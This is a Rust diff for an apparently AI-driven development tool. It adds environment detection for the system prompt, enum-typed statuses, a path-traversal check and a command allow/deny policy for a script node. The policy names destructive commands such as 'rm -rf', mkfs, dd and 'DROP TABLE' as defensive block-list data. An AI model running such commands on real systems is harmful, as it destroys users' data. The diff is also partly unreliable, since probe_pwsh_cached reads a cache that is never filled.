let jitter_ratio = (nanos % 2000) as f64 / 1000.0 - 1.0; // [-1.0, 1.0)
let factor = 1.0 + jitter_ratio * JITTER_RATIO; // [0.8, 1.2]
let ms = (base_ms as f64 * factor).max(0.0) as u64; let ms = (base_ms as f64 * factor).max(0.0) as u64;
Duration::from_millis(ms) Duration::from_millis(ms)
} }

View File

@@ -0,0 +1,432 @@
//! 环境感知系统 — 启动时一次性探测 OS/shell/工具版本/编码,全局缓存,注入 system_prompt。
//!
//! 设计目标:让 LLM 准确生成跨平台命令。LLM 训练数据 Unix 多,易生成 macOS/Linux 语法
//! 命令(PowerShell 5 不支持 `&&`、Windows 路径分隔符 `\`、GBK 终端中文乱码等),通过
//! 把当前平台的真实环境(操作系统/Shell/工具版本)拼进 system_prompt,LLM 即可生成与
//! 当前平台兼容的命令,从根上治「LLM 跨平台命令幻觉」。
//!
//! 缓存策略:`OnceLock` 全局单例,首次 `detect()` 探测,后续调用零开销。探测本身在
//! `spawn_blocking` 中执行(执行 `tool --version` 等阻塞 IO),避免阻塞 tokio runtime。
//! 探测失败的字段设 None/默认值,不向上传播错误(环境感知是 best-effort 增强,不应
//! 阻断主流程)。
use std::sync::OnceLock;
/// 环境快照 — 系统环境的不可变视图。
#[derive(Debug, Clone, serde::Serialize)]
pub struct EnvSnapshot {
/// 操作系统族:"windows" / "macos" / "linux"
pub os: String,
/// OS 版本:"11" / "Ubuntu 22.04"(探测失败为空串)
pub os_version: String,
/// Shell 名:"powershell" / "pwsh" / "bash" / "zsh" / "sh"
pub shell: String,
/// 路径分隔符:"\\"(Windows) / "/"(Unix)
pub path_sep: String,
/// 终端编码:"utf-8" / "gbk"(Windows 中文常见 GBK,致 LLM 输出乱码)
pub encoding: String,
/// 工具版本(逐个探测,缺失为 None)
pub tools: ToolVersions,
}
/// 各开发工具的版本信息。
#[derive(Debug, Clone, serde::Serialize, Default)]
pub struct ToolVersions {
pub python: Option<String>,
pub node: Option<String>,
pub rust: Option<String>,
pub go: Option<String>,
pub docker: Option<String>,
pub git: Option<String>,
}
impl EnvSnapshot {
/// 探测环境(惰性,OnceLock 全局缓存,整个进程生命周期只探一次)。
///
/// 返回 `&'static EnvSnapshot` —— 引用静态存储,可安全地长存于 loop 不变量中。
/// 探测在 `spawn_blocking` 中同步执行(`tool --version` 是阻塞 IO),不卡 runtime。
pub async fn detect() -> &'static EnvSnapshot {
static SNAPSHOT: OnceLock<EnvSnapshot> = OnceLock::new();
if let Some(snap) = SNAPSHOT.get() {
return snap;
}
// 首次探测:同步逻辑包到 spawn_blocking,避免阻塞 async runtime。
let snap = tokio::task::spawn_blocking(|| EnvSnapshot::do_detect())
.await
.unwrap_or_else(|_| EnvSnapshot::fallback());
// 多任务竞态:均等价,以先到者为准。
let _ = SNAPSHOT.set(snap);
SNAPSHOT.get().expect("EnvSnapshot 已初始化")
}
/// 同步探测(可能短暂阻塞,仅在 spawn_blocking 中调用)。
fn do_detect() -> EnvSnapshot {
EnvSnapshot {
os: std::env::consts::OS.to_string(),
os_version: detect_os_version(),
shell: detect_shell(),
path_sep: std::path::MAIN_SEPARATOR.to_string(),
encoding: detect_encoding(),
tools: ToolVersions {
python: probe_version("python", &["--version"]),
node: probe_version("node", &["--version"]),
rust: probe_version("rustc", &["--version"]),
go: probe_version("go", &["version"]),
docker: probe_version("docker", &["--version"]),
git: probe_version("git", &["--version"]),
},
}
}
/// 兜底:spawn_blocking panic/join 失败时返回最小可用快照(全 None,字段不空)。
fn fallback() -> EnvSnapshot {
EnvSnapshot {
os: std::env::consts::OS.to_string(),
os_version: String::new(),
shell: if cfg!(windows) { "powershell".into() } else { "sh".into() },
path_sep: std::path::MAIN_SEPARATOR.to_string(),
encoding: "utf-8".into(),
tools: ToolVersions::default(),
}
}
/// 生成 system_prompt 注入文本(拼到 system_prompt 尾部)。
///
/// 末尾加「请生成本平台兼容的命令」软提示,锚定 LLM 输出平台一致性。
pub fn to_prompt(&self) -> String {
let mut lines: Vec<String> = vec![
"## 系统环境".to_string(),
format!("- 操作系统: {} {}", self.os, self.os_version).trim_end().to_string(),
format!("- Shell: {}", self.shell),
format!("- 路径分隔符: {}", self.path_sep),
format!("- 终端编码: {}", self.encoding),
];
if let Some(v) = &self.tools.python {
lines.push(format!("- Python: {}", v));
}
if let Some(v) = &self.tools.node {
lines.push(format!("- Node: {}", v));
}
if let Some(v) = &self.tools.rust {
lines.push(format!("- Rust: {}", v));
}
if let Some(v) = &self.tools.go {
lines.push(format!("- Go: {}", v));
}
if let Some(v) = &self.tools.docker {
lines.push(format!("- Docker: {}", v));
}
if let Some(v) = &self.tools.git {
lines.push(format!("- Git: {}", v));
}
lines.push(String::new());
lines.push("注意: 请生成本平台兼容的命令。".to_string());
lines.join("\n")
}
}
/// 探测 OS 版本(各平台路径不一,失败返回空串而非 None,简化 prompt 拼接)。
fn detect_os_version() -> String {
// Windows:读注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion (ProductName/DisplayVersion)。
// 不依赖 winver GUI / reg.exe 输出格式,直接读注册表最稳。
#[cfg(windows)]
{
if let Some(v) = read_windows_version() {
return v;
}
return String::new();
}
// macOS:sw_vers -productVersion 输出如 "12.5"
#[cfg(target_os = "macos")]
{
if let Ok(out) = std::process::Command::new("sw_vers").arg("-productVersion").output() {
if out.status.success() {
return String::from_utf8_lossy(&out.stdout).trim().to_string();
}
}
return String::new();
}
// Linux:读 /etc/os-release 的 PRETTY_NAME 字段(系统标准位置)
#[cfg(target_os = "linux")]
{
if let Ok(content) = std::fs::read_to_string("/etc/os-release") {
for line in content.lines() {
if let Some(rest) = line.strip_prefix("PRETTY_NAME=") {
return rest.trim_matches('"').to_string();
}
}
}
return String::new();
}
#[cfg(not(any(windows, target_os = "macos", target_os = "linux")))]
{
String::new()
}
}
#[cfg(windows)]
fn read_windows_version() -> Option<String> {
// 用 reg.exe query 读注册表(DisplayVersion 优先,如 "22H2";回退 ProductName,如 "Windows 10 Pro")。
// 避开 winreg crate 依赖(增加构建复杂度,且 reg.exe 在所有 Win 版本均自带)。
let out = std::process::Command::new("reg")
.args([
"query",
r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
"/v",
"DisplayVersion",
])
.stdout(Stdio::piped())
.stderr(Stdio::null())
.creation_flags(0x0800_0000) // CREATE_NO_WINDOW
.output()
.ok()?;
if !out.status.success() {
return None;
}
let text = String::from_utf8_lossy(&out.stdout);
// 输出形如: " DisplayVersion REG_SZ 22H2"
for line in text.lines() {
let trimmed = line.trim();
if let Some(idx) = trimmed.find("REG_SZ") {
let val = trimmed[idx + "REG_SZ".len()..].trim();
if !val.is_empty() {
return Some(format!("Windows {}", val));
}
}
}
None
}
/// 探测默认 shell(复用 shell.rs 的 pwsh 探测语义)。
fn detect_shell() -> String {
#[cfg(windows)]
{
// 优先 pwsh(PS7,支持 &&),其次 powershell(PS5),兜底 cmd。
if probe_command_success("pwsh", &["-NoProfile", "-Command", "exit 0"]) {
return "pwsh".to_string();
}
if probe_command_success("powershell", &["-NoProfile", "-Command", "exit 0"]) {
return "powershell".to_string();
}
return "cmd".to_string();
}
#[cfg(not(windows))]
{
// Unix:SHELL 环境变量优先,常见值 /bin/bash /bin/zsh /bin/sh。
if let Ok(sh) = std::env::var("SHELL") {
// 取 basename(/bin/zsh → zsh)
let name = sh.rsplit('/').next().unwrap_or(&sh);
if !name.is_empty() {
return name.to_string();
}
}
"sh".to_string()
}
}
/// 探测终端编码(Windows 中文常见 GBK,导致 LLM 输出 UTF-8 在终端乱码)。
fn detect_encoding() -> String {
#[cfg(windows)]
{
// chcp 输出形如 "活动代码页: 936"(GBK)。936 → gbk,65001 → utf-8,其余按数字降级。
if let Ok(out) = std::process::Command::new("chcp")
.stdout(Stdio::piped())
.stderr(Stdio::null())
.creation_flags(0x0800_0000)
.output()
{
let text = String::from_utf8_lossy(&out.stdout);
if let Some(code) = extract_codepage(&text) {
return match code.as_str() {
"65001" => "utf-8".to_string(),
"936" => "gbk".to_string(),
"950" => "big5".to_string(),
other => format!("cp{}", other),
};
}
}
return "utf-8".to_string();
}
#[cfg(not(windows))]
{
// Unix 默认 UTF-8(LANG/LC_ALL 通常含 UTF-8)。
if let Ok(lang) = std::env::var("LANG") {
if lang.to_ascii_uppercase().contains("UTF-8") {
return "utf-8".to_string();
}
}
"utf-8".to_string()
}
}
#[cfg(windows)]
fn extract_codepage(text: &str) -> Option<String> {
// 提取末尾数字("...936" / "...: 65001")。
let mut num = String::new();
for c in text.chars().rev() {
if c.is_ascii_digit() {
num.insert(0, c);
} else if !num.is_empty() {
break;
}
}
if num.is_empty() {
None
} else {
Some(num)
}
}
/// 执行 `tool args`,成功(true)即工具可用。Windows 加 CREATE_NO_WINDOW 防黑窗。
#[allow(dead_code)] // 仅 Windows 路径调用,非 Windows 静态裁掉
fn probe_command_success(tool: &str, args: &[&str]) -> bool {
let mut cmd = std::process::Command::new(tool);
cmd.args(args);
cmd.stdout(Stdio::null()).stderr(Stdio::null());
#[cfg(windows)]
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
cmd.status().map(|s| s.success()).unwrap_or(false)
}
/// 执行 `tool --version`,解析首行返回版本串。失败/超时返回 None,不阻塞调用方。
///
/// 例:python --version 输出 "Python 3.11.5" → 返回 "3.11.5";git --version 输出
/// "git version 2.41.0" → 返回 "2.41.0"。统一抽掉工具名前缀,只保留版本号本身。
fn probe_version(tool: &str, args: &[&str]) -> Option<String> {
let mut cmd = std::process::Command::new(tool);
cmd.args(args);
cmd.stdout(Stdio::piped()).stderr(Stdio::null());
#[cfg(windows)]
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
let out = cmd.output().ok()?;
if !out.status.success() {
return None;
}
let text = String::from_utf8_lossy(&out.stdout);
let first_line = text.lines().next()?;
Some(extract_version_token(first_line))
}
/// 从版本命令首行抽取版本号:取首个形如 N(.N)+ 的 token(至少一个点号)。
/// 兼容 "Python 3.11.5" / "v18.17.0" / "git version 2.41.0.windows.1" / "go version go1.21.0 ..."。
///
/// 策略:把行切成空白 token,逐个匹配「数字开头 + 至少一个 `.`」的模式,取首个命中。
/// 比 char 状态机更鲁棒(状态机遇 `2.41.0.windows.1` 这种多层嵌套点会误判)。
fn extract_version_token(line: &str) -> String {
for token in line.split_whitespace() {
// 找 token 内首个数字位置,从这里开始扫 "数字段(.数字段)*" 序列。
// 遇点要求下一字符为数字,否则在该点处截断(避免 "2.41.0.windows.1" 被吞成
// "2.41.0.windows.1",实际应止于 "2.41.0")。
let bytes = token.as_bytes();
let mut i = match bytes.iter().position(|b| b.is_ascii_digit()) {
Some(i) => i,
None => continue,
};
let mut head = String::new();
loop {
// 收数字段
let seg_start = i;
while i < bytes.len() && bytes[i].is_ascii_digit() {
i += 1;
}
head.push_str(&token[seg_start..i]);
// 点号:仅当下一字符为数字时才续,否则收尾
if i < bytes.len() && bytes[i] == b'.' && i + 1 < bytes.len()
&& bytes[i + 1].is_ascii_digit()
{
head.push('.');
i += 1;
continue;
}
break;
}
if head.contains('.') {
return head;
}
}
// 无版本号 token 时退回整行(避免返回空串让 prompt 出现 "None")。
line.trim().to_string()
}
// Windows 下统一在文件顶部引入 CommandExt,使各 #[cfg(windows)] 块可直接调用 creation_flags。
#[cfg(windows)]
use std::os::windows::process::CommandExt;
use std::process::Stdio;
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn extract_version_python_style() {
assert_eq!(extract_version_token("Python 3.11.5"), "3.11.5");
}
#[test]
fn extract_version_node_style() {
assert_eq!(extract_version_token("v18.17.0"), "18.17.0");
}
#[test]
fn extract_version_git_style() {
assert_eq!(extract_version_token("git version 2.41.0.windows.1"), "2.41.0");
}
#[test]
fn extract_version_go_style() {
assert_eq!(
extract_version_token("go version go1.21.0 windows/amd64"),
"1.21.0"
);
}
#[test]
fn extract_version_no_match_returns_line() {
assert_eq!(extract_version_token("no version here"), "no version here");
}
#[cfg(windows)]
#[test]
fn extract_codepage_parsing() {
assert_eq!(extract_codepage("活动代码页: 936"), Some("936".into()));
assert_eq!(
extract_codepage("Active code page: 65001"),
Some("65001".into())
);
assert_eq!(extract_codepage("no digits here"), None);
}
#[tokio::test]
async fn detect_returns_cached_static_ref() {
// 两次 detect 返回同一引用(OnceLock 全局缓存)。
let a = EnvSnapshot::detect().await as *const _;
let b = EnvSnapshot::detect().await as *const _;
assert_eq!(a, b, "detect() 应返回同一静态引用");
}
#[test]
fn to_prompt_contains_os_and_shell() {
let snap = EnvSnapshot {
os: "test_os".into(),
os_version: "v1".into(),
shell: "test_shell".into(),
path_sep: "/".into(),
encoding: "utf-8".into(),
tools: ToolVersions {
python: Some("3.11".into()),
node: None,
rust: None,
go: None,
docker: None,
git: None,
},
};
let prompt = snap.to_prompt();
assert!(prompt.contains("test_os"));
assert!(prompt.contains("test_shell"));
assert!(prompt.contains("Python: 3.11"));
assert!(!prompt.contains("Node"));
assert!(prompt.contains("请生成本平台兼容的命令"));
}
}

View File

@@ -1,3 +1,6 @@
//! df-execute: 执行运行时 — Shell //! df-execute: 执行运行时 — Shell + 环境感知
pub mod env_snapshot;
pub mod shell; pub mod shell;
pub use env_snapshot::EnvSnapshot;

View File

@@ -37,22 +37,36 @@ impl Default for ShellType {
// BUG-260623-04:优先 pwsh(PS7,支持 && 运算符)——LLM 训练数据 Unix 多,普遍生成 `cd x && y`, // BUG-260623-04:优先 pwsh(PS7,支持 && 运算符)——LLM 训练数据 Unix 多,普遍生成 `cd x && y`,
// PS5 不支持 && 致命令失败(实测会话 6acb7f9b `cd ... && git init` InvalidEndOfLine)。 // PS5 不支持 && 致命令失败(实测会话 6acb7f9b `cd ... && git init` InvalidEndOfLine)。
// 探测失败(未装 pwsh)回退 PS5。探测结果 OnceLock 缓存(只探一次)。 // 探测失败(未装 pwsh)回退 PS5。探测结果 OnceLock 缓存(只探一次)。
// 注:Default trait 为同步签名,这里只能读取已探测的缓存结果(若未探测则返回 false,退回 PowerShell)。
// 真实探测在异步入口 `execute()` 中调用 `probe_pwsh().await`。
if cfg!(windows) { if cfg!(windows) {
if probe_pwsh() { ShellType::Pwsh } else { ShellType::PowerShell } if probe_pwsh_cached() { ShellType::Pwsh } else { ShellType::PowerShell }
} else { } else {
ShellType::Sh ShellType::Sh
} }
} }
} }
/// 读取 probe_pwsh 的缓存值(未探测返回 false)。供同步路径 `Default` 使用。
fn probe_pwsh_cached() -> bool {
static CACHE: std::sync::OnceLock<bool> = std::sync::OnceLock::new();
CACHE.get().copied().unwrap_or(false)
}
/// 探测 pwsh(PowerShell 7)是否可用(OnceLock 缓存,只探一次)。 /// 探测 pwsh(PowerShell 7)是否可用(OnceLock 缓存,只探一次)。
/// ///
/// LLM 普遍生成 `&&`(Unix 习惯),仅 PS7+ 支持,Windows 自带 PS5 不支持。 /// LLM 普遍生成 `&&`(Unix 习惯),仅 PS7+ 支持,Windows 自带 PS5 不支持。
/// 探测:成功 spawn `pwsh -Command exit 0` 即可用。同步阻塞仅一次(spawn 极快), /// 探测:成功 spawn `pwsh -Command exit 0` 即可用。同步阻塞仅一次(spawn 极快),
/// Windows 加 CREATE_NO_WINDOW 防黑窗闪现。 /// Windows 加 CREATE_NO_WINDOW 防黑窗闪现。
fn probe_pwsh() -> bool { ///
/// CR-XX:异步化 —— 在异步上下文中通过 `tokio::task::spawn_blocking` 执行阻塞探测,
/// 避免阻塞 tokio runtime。结果仍由 OnceLock 全局共享,只探测一次。
async fn probe_pwsh() -> bool {
static CACHE: std::sync::OnceLock<bool> = std::sync::OnceLock::new(); static CACHE: std::sync::OnceLock<bool> = std::sync::OnceLock::new();
*CACHE.get_or_init(|| { if let Some(cached) = CACHE.get() {
return *cached;
}
let result = tokio::task::spawn_blocking(|| {
let mut cmd = std::process::Command::new("pwsh"); let mut cmd = std::process::Command::new("pwsh");
cmd.arg("-NoProfile").arg("-Command").arg("exit 0"); cmd.arg("-NoProfile").arg("-Command").arg("exit 0");
cmd.stdout(Stdio::null()).stderr(Stdio::null()); cmd.stdout(Stdio::null()).stderr(Stdio::null());
@@ -63,6 +77,11 @@ fn probe_pwsh() -> bool {
} }
cmd.status().map(|s| s.success()).unwrap_or(false) cmd.status().map(|s| s.success()).unwrap_or(false)
}) })
.await
.unwrap_or(false);
// 多任务竞态时以先到者为准,均等价
let _ = CACHE.set(result);
result
} }
/// Shell 命令执行请求 /// Shell 命令执行请求
@@ -88,6 +107,10 @@ pub struct ShellRequest {
pub async fn execute(request: ShellRequest) -> anyhow::Result<ShellResult> { pub async fn execute(request: ShellRequest) -> anyhow::Result<ShellResult> {
let start = std::time::Instant::now(); let start = std::time::Instant::now();
// 探测 pwsh(惰性 + OnceLock 全局缓存,只探一次),使后续 ShellType::default() 可读取缓存
#[cfg(windows)]
let _ = probe_pwsh().await;
let shell_type = request.shell_type.unwrap_or_default(); let shell_type = request.shell_type.unwrap_or_default();
let mut cmd = match shell_type { let mut cmd = match shell_type {
ShellType::PowerShell => { ShellType::PowerShell => {

View File

@@ -17,7 +17,7 @@ use std::sync::Arc;
use df_storage::crud::{IdeaRepo, ProjectRepo, TaskRepo}; use df_storage::crud::{IdeaRepo, ProjectRepo, TaskRepo};
use df_storage::db::Database; use df_storage::db::Database;
use df_storage::models::{IdeaRecord, ProjectRecord, TaskRecord}; use df_storage::models::{IdeaRecord, ProjectRecord, TaskRecord};
use df_types::types::new_id; use df_types::types::{IdeaStatus, ProjectStatus, TaskStatus, new_id};
use futures::future::BoxFuture; use futures::future::BoxFuture;
use serde_json::{json, Value}; use serde_json::{json, Value};
@@ -235,10 +235,11 @@ fn create_project(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
Err(r) => return Box::pin(std::future::ready(r)), Err(r) => return Box::pin(std::future::ready(r)),
}; };
let description = arg_str_or(&args, "description", ""); let description = arg_str_or(&args, "description", "");
let status = arg_str_or(&args, "status", "active"); let status = arg_str_or(&args, "status", "planning");
medium_audit("create_project", &name); medium_audit("create_project", &name);
Box::pin(async move { Box::pin(async move {
let now = now_millis(); let now = now_millis();
let status = ProjectStatus::from_db_str(&status).unwrap_or_default();
let rec = ProjectRecord { let rec = ProjectRecord {
id: new_id(), id: new_id(),
name, name,
@@ -269,7 +270,7 @@ fn update_project(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
}; };
let name = arg_str_or(&args, "name", ""); let name = arg_str_or(&args, "name", "");
let description = arg_str_or(&args, "description", ""); let description = arg_str_or(&args, "description", "");
let status = arg_str_or(&args, "status", "active"); let status = arg_str_or(&args, "status", "planning");
medium_audit("update_project", &id); medium_audit("update_project", &id);
Box::pin(async move { Box::pin(async move {
let repo = ProjectRepo::new(&db); let repo = ProjectRepo::new(&db);
@@ -280,6 +281,7 @@ fn update_project(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
Err(e) => return err_str(e), Err(e) => return err_str(e),
}; };
let now = now_millis(); let now = now_millis();
let status = ProjectStatus::from_db_str(&status).unwrap_or_default();
let rec = ProjectRecord { let rec = ProjectRecord {
id: id.clone(), id: id.clone(),
name, name,
@@ -322,6 +324,12 @@ fn bind_directory(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
medium_audit("bind_directory", &format!("{id} <- {path}")); medium_audit("bind_directory", &format!("{id} <- {path}"));
Box::pin(async move { Box::pin(async move {
let repo = ProjectRepo::new(&db); let repo = ProjectRepo::new(&db);
// 分段检测 `..`(防穿越)——纯子串 contains("..") 会误伤 my..file 这类合法名,
// 改用逐段判断对齐 tool_registry.rs:validate_path 的分段检测逻辑。
let has_traversal = path.split(|c| c == '\\' || c == '/').any(|seg| seg == "..");
if has_traversal {
return CallToolResult::error(format!("路径不得包含 '..' 段: {}", path));
}
let norm = normalize_path(&path); let norm = normalize_path(&path);
// 路径冲突检测 // 路径冲突检测
if let Some(conflict) = repo.find_path_conflict(&norm, Some(&id)).await.ok().flatten() { if let Some(conflict) = repo.find_path_conflict(&norm, Some(&id)).await.ok().flatten() {
@@ -330,8 +338,8 @@ fn bind_directory(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
conflict.name, conflict.id conflict.name, conflict.id
)); ));
} }
// 仅更新 path 字段(用 update_field,保留其它) // 仅更新 path 字段(用 normalize 后的规范化路径,保留其它)
if !repo.update_field(&id, "path", &path).await.unwrap_or(false) { if !repo.update_field(&id, "path", &norm).await.unwrap_or(false) {
return CallToolResult::error(format!("项目不存在: {id}")); return CallToolResult::error(format!("项目不存在: {id}"));
} }
let updated = repo.get_by_id(&id).await.ok().flatten(); let updated = repo.get_by_id(&id).await.ok().flatten();
@@ -355,7 +363,7 @@ fn list_tasks(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> {
list.retain(|t| t.project_id == *pid); list.retain(|t| t.project_id == *pid);
} }
if let Some(st) = &status_filter { if let Some(st) = &status_filter {
list.retain(|t| t.status == *st); list.retain(|t| t.status.as_str() == st.as_str());
} }
json_ok(json!({ "tasks": list, "count": list.len() })) json_ok(json!({ "tasks": list, "count": list.len() }))
} }
@@ -384,7 +392,7 @@ fn create_task(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> {
project_id, project_id,
title, title,
description, description,
status: "todo".to_owned(), status: TaskStatus::Todo,
priority, priority,
branch_name: None, branch_name: None,
assignee: None, assignee: None,
@@ -529,7 +537,7 @@ fn create_idea(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> {
id: new_id(), id: new_id(),
title, title,
description, description,
status: "draft".to_owned(), status: IdeaStatus::Draft,
priority, priority,
score: None, score: None,
tags: None, tags: None,

View File

@@ -273,6 +273,7 @@ mod tests {
use df_storage::crud::{ProjectRepo, TaskRepo}; use df_storage::crud::{ProjectRepo, TaskRepo};
use df_storage::db::Database; use df_storage::db::Database;
use df_storage::models::{ProjectRecord, TaskRecord}; use df_storage::models::{ProjectRecord, TaskRecord};
use df_types::types::{ProjectStatus, TaskStatus};
use serde_json::json; use serde_json::json;
// ============================================================ // ============================================================
@@ -287,7 +288,7 @@ mod tests {
id: "p1".to_string(), id: "p1".to_string(),
name: "proj".to_string(), name: "proj".to_string(),
description: "".to_string(), description: "".to_string(),
status: "planning".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,
@@ -302,7 +303,7 @@ mod tests {
project_id: "p1".to_string(), project_id: "p1".to_string(),
title: "t1".to_string(), title: "t1".to_string(),
description: "实现登录接口".to_string(), description: "实现登录接口".to_string(),
status: "testing".to_string(), status: TaskStatus::Testing,
priority: 2, priority: 2,
branch_name: None, branch_name: None,
assignee: None, assignee: None,

View File

@@ -39,6 +39,32 @@ impl Node for ScriptNode {
shell_type: Default::default(), shell_type: Default::default(),
}; };
// 命令执行安全:白/黑名单校验(从环境变量读取,逗号分隔命令名)。
// - 白名单非空时:命令首词不在白名单 → 直接拒绝执行
// - 黑名单匹配时:直接拒绝执行
// 命令名取首词(shell 第一段,如 `rm -rf /` 取 `rm`),按 trim + 小写规范化比较。
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
if let Some(denied) = check_command_policy(&cmd_name) {
tracing::warn!(
command = %command,
reason = %denied,
"ScriptNode 命令被策略拒绝"
);
anyhow::bail!("脚本命令被策略拒绝: {} (命令: {})", denied, command);
}
// 危险命令告警:匹配已知危险关键词,仅告警不阻止执行
let dangerous_keywords = ["rm -rf", "DROP TABLE", "Format", "del /f", "shutdown"];
for &kw in &dangerous_keywords {
if command.contains(kw) {
tracing::warn!(
keyword = %kw,
command = %command,
"ScriptNode 即将执行包含危险关键词的命令"
);
}
}
tracing::info!("ScriptNode 执行命令: {}", command); tracing::info!("ScriptNode 执行命令: {}", command);
let result = df_execute::shell::execute(request).await?; let result = df_execute::shell::execute(request).await?;
@@ -93,3 +119,49 @@ impl Node for ScriptNode {
"script" "script"
} }
} }
/// 默认黑名单:即使环境变量未设置也生效,挡最危险的破坏性命令。
/// 用户设置 `DF_SCRIPT_BLACKLIST` 时覆盖默认(不合并,用户显式控制)。
const DEFAULT_BLACKLIST: &[&str] = &["rm", "del", "format", "shutdown", "mkfs", "dd"];
/// 命令执行策略校验:从环境变量读取白/黑名单,判定给定命令名是否允许执行。
///
/// 优先级:黑名单优先于白名单(黑名单匹配总是拒绝,即便同时在白名单)。
///
/// - `DF_SCRIPT_WHITELIST`:逗号分隔命令名(如 `git,npm,cargo`);非空时命令名不在其中即拒绝
/// - `DF_SCRIPT_BLACKLIST`:逗号分隔命令名(如 `rm,format,shutdown`);匹配即拒绝。
/// 未设置时使用 `DEFAULT_BLACKLIST`(rm/del/format/shutdown/mkfs/dd)兜底。
///
/// 命令名比较前 trim + ASCII 小写规范化;空段被忽略。
///
/// 返回 `Some(reason)` 表示拒绝(reason 为拒绝原因,用于日志/错误信息);返回 `None` 表示放行。
fn check_command_policy(cmd_name: &str) -> Option<&'static str> {
// 黑名单优先:即便同时在白名单,只要命中黑名单就拒绝
// 优先从环境变量读,后续可扩展为从 DB KV 注入(前端设置页写入)
let env_blacklist = std::env::var("DF_SCRIPT_BLACKLIST").ok();
let blacklist: Vec<String> = match env_blacklist {
Some(raw) => raw
.split(',')
.map(|s| s.trim().to_lowercase())
.filter(|s| !s.is_empty())
.collect(),
None => DEFAULT_BLACKLIST.iter().map(|s| s.to_string()).collect(),
};
if blacklist.iter().any(|c| c == cmd_name) {
return Some("命令在黑名单中");
}
// 白名单:非空时命令名必须在白名单中才放行
if let Ok(whitelist_raw) = std::env::var("DF_SCRIPT_WHITELIST") {
let whitelist: Vec<String> = whitelist_raw
.split(',')
.map(|s| s.trim().to_lowercase())
.filter(|s| !s.is_empty())
.collect();
if !whitelist.is_empty() && !whitelist.iter().any(|c| c == cmd_name) {
return Some("命令不在白名单中");
}
}
None
}

View File

@@ -174,14 +174,15 @@ mod tests {
use super::*; use super::*;
use df_storage::crud::ProjectRepo; use df_storage::crud::ProjectRepo;
use df_storage::models::{ProjectRecord, TaskRecord}; use df_storage::models::{ProjectRecord, TaskRecord};
use df_types::types::{ProjectStatus, TaskStatus};
fn rec(id: &str, status: &str) -> TaskRecord { fn rec(id: &str, status: TaskStatus) -> TaskRecord {
TaskRecord { TaskRecord {
id: id.to_string(), id: id.to_string(),
project_id: "p1".to_string(), project_id: "p1".to_string(),
title: format!("t-{id}"), title: format!("t-{id}"),
description: "".to_string(), description: "".to_string(),
status: status.to_string(), status,
priority: 2, priority: 2,
branch_name: None, branch_name: None,
assignee: None, assignee: None,
@@ -206,7 +207,7 @@ mod tests {
id: "p1".to_string(), id: "p1".to_string(),
name: "proj".to_string(), name: "proj".to_string(),
description: "".to_string(), description: "".to_string(),
status: "planning".to_string(), status: ProjectStatus::Planning,
idea_id: None, idea_id: None,
path: None, path: None,
stack: None, stack: None,
@@ -221,43 +222,43 @@ mod tests {
#[tokio::test] #[tokio::test]
async fn forward_path_todo_to_done() { async fn forward_path_todo_to_done() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "todo")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Todo)).await.unwrap();
// 主路径逐级推进 // 主路径逐级推进
let r = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap();
assert_eq!(r.status, "in_progress"); assert_eq!(r.status.as_str(), "in_progress");
assert_eq!(r.review_rounds, 0); assert_eq!(r.review_rounds, 0);
let r = advance_task_atomic(&repo, "t1", "in_review").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "in_review").await.unwrap();
assert_eq!(r.status, "in_review"); assert_eq!(r.status.as_str(), "in_review");
assert_eq!(r.review_rounds, 0); assert_eq!(r.review_rounds, 0);
let r = advance_task_atomic(&repo, "t1", "testing").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "testing").await.unwrap();
assert_eq!(r.status, "testing"); assert_eq!(r.status.as_str(), "testing");
let r = advance_task_atomic(&repo, "t1", "done").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "done").await.unwrap();
assert_eq!(r.status, "done"); assert_eq!(r.status.as_str(), "done");
assert_eq!(r.review_rounds, 0); assert_eq!(r.review_rounds, 0);
} }
#[tokio::test] #[tokio::test]
async fn regression_in_review_to_in_progress_bumps_rounds() { async fn regression_in_review_to_in_progress_bumps_rounds() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "in_review")).await.unwrap(); repo.insert(rec("t1", TaskStatus::InReview)).await.unwrap();
let r = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap();
assert_eq!(r.status, "in_progress"); assert_eq!(r.status.as_str(), "in_progress");
assert_eq!(r.review_rounds, 1, "退回应 +1"); assert_eq!(r.review_rounds, 1, "退回应 +1");
} }
#[tokio::test] #[tokio::test]
async fn regression_testing_to_in_review_bumps_rounds() { async fn regression_testing_to_in_review_bumps_rounds() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "testing")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Testing)).await.unwrap();
let r = advance_task_atomic(&repo, "t1", "in_review").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "in_review").await.unwrap();
assert_eq!(r.status, "in_review"); assert_eq!(r.status.as_str(), "in_review");
assert_eq!(r.review_rounds, 1, "退回应 +1"); assert_eq!(r.review_rounds, 1, "退回应 +1");
} }
#[tokio::test] #[tokio::test]
async fn multiple_regressions_accumulate() { async fn multiple_regressions_accumulate() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "in_review")).await.unwrap(); repo.insert(rec("t1", TaskStatus::InReview)).await.unwrap();
